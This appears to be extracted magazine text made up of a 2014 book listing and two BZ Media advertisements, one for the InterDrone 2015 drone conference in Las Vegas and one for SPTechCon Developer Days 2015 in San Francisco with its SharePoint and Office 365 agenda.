Address
Livery Place, 35 Livery Street, Birmingham B3 2PB, UK
ISBN–13
978–1–78328–345–3
Date
2014
Price
$26.99 ebook, $44.99 print+ebook
Pages
332
InterDrone is Three Awesome Conferences:
For Builders
For Flyers and Buyers
More than 35 classes, tutorials and panels for hardware and embedded engineers, designers and software developers building commercial drones and the software that controls them.
More than 35 tutorials and classes on drone operations, flying tips and tricks, range, navigation, payloads, stability, avoiding crashes, power, environmental considerations, which drone is for you, and more!
Meet with
80 + exhibitors!
Demos! Panels! Keynotes! The Zipline!
For Business Owners, Entrepreneurs & Dealers Classes will focus on running a drone business, the latest FAA requirements and restrictions, supporting and educating drone buyers, marketing drone services, and where the next hot opportunities are likely to be!
September 9-10-11, 2015 Rio, Las Vegas www.InterDrone.com
A BZ Media Event
Calling all SharePoint and Office 365 Developers! Microsoft Keynote! Chris Johnson Group Product Manager for Office 365 at Microsoft
June 24 - 26, 2015 San Francisco
“We are very excited to see an event that is purely focused on developers, Office 365 and SharePoint. See you there!” —Chris Johnson
SPTechCon Developer Days will help you understand the new application model, modern Web development architecture, languages and techniques, and much more. Check out these topics on the agenda: The New App Model • JavaScript and jQuery • Office Graph & Delve • REST, CSOM and APIs • Web Part Development • Modern Web Development Architecture • Responsive Web Design Client-Side Development • App and Workflow Customization • Branding • SPServices • The Content Query Web Part • SharePoint for ASP.NET Developers • Visual Studio and SharePoint • Building Single-Page Apps • AngularJS and BreezeJS • Mastering Bootstrap • HTML5 and CSS • TypeScript for SharePoint Developers • Developing an Intranet • The Data View Web Part Office Web Apps • Business Connectivity Service • Creating Master Pages and Page Layouts• Secured Web Services Solutions Versioning and Upgrading Features • The Content Search Web Part • The Evolution of SharePoint Event Receivers • Code Solutions for Performance and Scalability
Presented by
Attendance limited to the first 375 developers SPTechCon™ is a trademark of BZ Media LLC. SharePoint® is a registered trademark of Microsoft.
Check out the program at www.sptechcon.com/devdays A BZ Media Event
